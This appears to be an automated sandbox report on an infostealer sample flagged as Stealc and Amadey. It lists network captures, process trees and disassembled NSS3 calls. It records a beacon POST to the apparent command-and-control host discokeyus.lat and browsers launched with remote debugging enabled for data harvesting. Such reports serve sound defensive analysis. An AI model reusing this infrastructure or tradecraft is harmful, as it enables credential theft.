2024-12-20 15:06:35 UTC	1390	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 79 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6a 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6a 65 5b 64 5d 2c 63 29 3a 5f 2e 65 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 65 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 Data Ascii: unction(a,b){_.yb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:je.hasOwnProperty(d)?a.setAttribute(je[d],c):_.ee(d,\"aria-\")\|\|_.ee(d,\"data-\")?a.setAttribut

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	172.217.19.164	443	2676	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:06:34 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 15:06:34 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 20 Dec 2024 15:06:34 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 15:06:34 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-20 15:06:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49957	172.67.197.170	443	5136	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:08:14 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: discokeyus.lat
2024-12-20 15:08:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 15:08:15 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:08:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hvka53s18lqo9limc6uv8l6rk8; expires=Tue, 15 Apr 2025 08:54:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CUd4ag0yRqRh1pbVZ%2B1HVO%2BUR1D%2FM5NrkcAHXUDfeYVlkMu2eiuCCF4JJ5BbbGzWzVaSjajN5Rx4tH0IVD1MIAjNGArWCzDM8IEFnienKgwzECQVYRUpcv9FcoEZSq%2FRvw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f508bf0c83d0f98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1539&min_rtt=1522&rtt_var=583&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=905&delivery_rate=1918528&cwnd=182&unsent_bytes=0&cid=a5be3598c7943c0c&ts=1066&x=0"
2024-12-20 15:08:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 15:08:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:06:17
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\R2CgZG545D.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\R2CgZG545D.exe"
Imagebase:	0x850000
File size:	2'917'888 bytes
MD5 hash:	E48CA69B3F439CF66679FFE60EFD564F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2077795159.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2640384429.0000000000851000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2642961226.000000000138E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:06:26
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:06:29
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2092,i,5216794455823699490,3193529154071514204,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:06:37
Start date:	20/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:06:37
Start date:	20/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2224,i,14321603790260887012,4088667357503153819,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:06:37
Start date:	20/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:06:38
Start date:	20/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1940,i,17350180843755369966,13513433149912456994,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:07:11
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EHJKKKFIIJ.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:07:11
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:07:11
Start date:	20/12/2024
Path:	C:\Users\user\Documents\EHJKKKFIIJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\EHJKKKFIIJ.exe"
Imagebase:	0x880000
File size:	2'990'592 bytes
MD5 hash:	9D38889192A887E1128EC41DD417FB6D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.2625848602.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2666945219.0000000000881000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:07:15
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x180000
File size:	2'990'592 bytes
MD5 hash:	9D38889192A887E1128EC41DD417FB6D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2708693110.0000000000181000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2668310067.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:07:15
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x180000
File size:	2'990'592 bytes
MD5 hash:	9D38889192A887E1128EC41DD417FB6D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2708866072.0000000000181000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000003.2668461623.00000000047D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:08:00
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x180000
File size:	2'990'592 bytes
MD5 hash:	9D38889192A887E1128EC41DD417FB6D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.3321099664.0000000000181000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000003.3106468001.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	10:08:11
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe"
Imagebase:	0xbc0000
File size:	644'608 bytes
MD5 hash:	FC44872D02DB04A880714843034469A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:08:11
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:08:11
Start date:	20/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Imagebase:	0x730000
File size:	43'016 bytes
MD5 hash:	5D1D74198D75640E889F0A577BBF31FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 6C626E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C772120,6C627E60), ref: 6C626EBC
TlsGetValue.KERNEL32 ref: 6C626EDF
EnterCriticalSection.KERNEL32(?), ref: 6C626EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C626F25

Part of subcall function 6C5FA900: TlsGetValue.KERNEL32(00000000,?,6C7714E4,?,6C594DD9), ref: 6C5FA90F
Part of subcall function 6C5FA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C5FA94F

PR_Unlock.NSS3 ref: 6C626F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C626FA9
TlsGetValue.KERNEL32 ref: 6C6270B4
EnterCriticalSection.KERNEL32(?), ref: 6C6270C8
PR_CallOnce.NSS3(6C7724C0,6C667590), ref: 6C627104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C627117
SECOID_Init.NSS3 ref: 6C627128
PORT_Alloc_Util.NSS3(00000057), ref: 6C62714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C62717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6271A9
PR_NotifyAllCondVar.NSS3 ref: 6C6271CF
PR_Unlock.NSS3 ref: 6C6271DD
free.MOZGLUE(?), ref: 6C6271EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C627208
free.MOZGLUE(00000000), ref: 6C627221
free.MOZGLUE(00000001), ref: 6C627235
TlsGetValue.KERNEL32 ref: 6C62724A
EnterCriticalSection.KERNEL32(?), ref: 6C62725E
PR_NotifyCondVar.NSS3 ref: 6C627273
PR_Unlock.NSS3 ref: 6C627281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C627291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6272B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6272D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6272E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C627301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C627310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C627335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C627344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C627363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C627372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C760148,,defaultModDB,internalKeySlot), ref: 6C6274CC
free.MOZGLUE(00000000), ref: 6C627513
free.MOZGLUE(00000000), ref: 6C62751B
free.MOZGLUE(00000000), ref: 6C627528
free.MOZGLUE(00000000), ref: 6C62753C
free.MOZGLUE(00000000), ref: 6C627550
free.MOZGLUE(00000000), ref: 6C627561
free.MOZGLUE(00000000), ref: 6C627572
free.MOZGLUE(00000000), ref: 6C627583
free.MOZGLUE(00000000), ref: 6C627594
free.MOZGLUE(00000000), ref: 6C6275A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6275BD
free.MOZGLUE(00000000), ref: 6C6275C8
free.MOZGLUE(00000000), ref: 6C6275F1
PR_NewLock.NSS3 ref: 6C627636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C627686
PR_NewLock.NSS3 ref: 6C6276A2

Part of subcall function 6C6D98D0: calloc.MOZGLUE(00000001,00000084,6C600936,00000001,?,6C60102C), ref: 6C6D98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6276B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C627707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C62771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C627731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C62774A
DeleteCriticalSection.KERNEL32(?), ref: 6C627770
free.MOZGLUE(?), ref: 6C627779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C62779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6277AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6277C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6277DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C627821
PORT_Alloc_Util.NSS3(?), ref: 6C627837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C62785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C62786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6278AC
free.MOZGLUE(00000000), ref: 6C6278BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6278F3
free.MOZGLUE(00000000), ref: 6C6278FC
free.MOZGLUE(00000000), ref: 6C62791C

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

Strings

extern:, xrefs: 6C62772B
NSS Internal Module, xrefs: 6C6274A2, 6C6274C6
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6274C7
Spac, xrefs: 6C627389
rdb:, xrefs: 6C627744
,defaultModDB,internalKeySlot, xrefs: 6C62748D, 6C6274AA
kbi., xrefs: 6C627886
dbm:, xrefs: 6C627716
sql:, xrefs: 6C6276FE
dll, xrefs: 6C62788E

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: bcd161225da61d556d38140080d4ce631e28abbfc6c3edcb796b0f34f896e24f
Instruction ID: 369015902ad6742fde1eb5ff0f08d431dc4edeb7a31acdf01d3bb2377945202e
Opcode Fuzzy Hash: bcd161225da61d556d38140080d4ce631e28abbfc6c3edcb796b0f34f896e24f
Instruction Fuzzy Hash: AD52F1B1E01315DBEF119F64CC09BAA7BB4BF06348F144038EC19A6A41E739D954CFAA

Function 6C64BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C64C0C8

Part of subcall function 6C6D9440: LeaveCriticalSection.KERNEL32 ref: 6C6D95CD
Part of subcall function 6C6D9440: TlsGetValue.KERNEL32 ref: 6C6D9622
Part of subcall function 6C6D9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C6D964E

PR_EnterMonitor.NSS3 ref: 6C64C0AE

Part of subcall function 6C6D9090: LeaveCriticalSection.KERNEL32 ref: 6C6D91AA
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D9212
Part of subcall function 6C6D9090: _PR_MD_WAIT_CV.NSS3 ref: 6C6D926B

Part of subcall function 6C600600: GetLastError.KERNEL32(?,?,?,?,?,6C6005E2), ref: 6C600642
Part of subcall function 6C600600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6005E2), ref: 6C60065D
Part of subcall function 6C600600: GetLastError.KERNEL32 ref: 6C600678
Part of subcall function 6C600600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C60068A
Part of subcall function 6C600600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C600693
Part of subcall function 6C600600: PR_SetErrorText.NSS3(00000000,?), ref: 6C60069D
Part of subcall function 6C600600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,1A68F804,?,?,?,?,?,6C6005E2), ref: 6C6006CA
Part of subcall function 6C600600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6005E2), ref: 6C6006E6

PR_EnterMonitor.NSS3 ref: 6C64C0F2
PR_ExitMonitor.NSS3 ref: 6C64C10E
PR_ExitMonitor.NSS3 ref: 6C64C081

Part of subcall function 6C6D9440: TlsGetValue.KERNEL32 ref: 6C6D945B
Part of subcall function 6C6D9440: TlsGetValue.KERNEL32 ref: 6C6D9479
Part of subcall function 6C6D9440: EnterCriticalSection.KERNEL32 ref: 6C6D9495
Part of subcall function 6C6D9440: TlsGetValue.KERNEL32 ref: 6C6D94E4
Part of subcall function 6C6D9440: TlsGetValue.KERNEL32 ref: 6C6D9532
Part of subcall function 6C6D9440: LeaveCriticalSection.KERNEL32 ref: 6C6D955D

PR_EnterMonitor.NSS3 ref: 6C64C068

Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90AB
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90C9
Part of subcall function 6C6D9090: EnterCriticalSection.KERNEL32 ref: 6C6D90E5
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D9116
Part of subcall function 6C6D9090: LeaveCriticalSection.KERNEL32 ref: 6C6D913F

Part of subcall function 6C600600: GetProcAddress.KERNEL32(?,?), ref: 6C600623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C64C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C64C183
free.MOZGLUE(00000000), ref: 6C64C18E
PR_LoadLibrary.NSS3(?), ref: 6C64C1A3
PR_EnterMonitor.NSS3 ref: 6C64C1D4
PR_ExitMonitor.NSS3 ref: 6C64C1F3
PR_CallOnce.NSS3(6C772318,6C64CA70), ref: 6C64C210
PR_EnterMonitor.NSS3 ref: 6C64C22B
PR_ExitMonitor.NSS3 ref: 6C64C247
PR_EnterMonitor.NSS3 ref: 6C64C26A
PR_ExitMonitor.NSS3 ref: 6C64C287
PR_UnloadLibrary.NSS3(?), ref: 6C64C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C64C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C64C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C64C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C64C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C64C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C64C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C64C82E
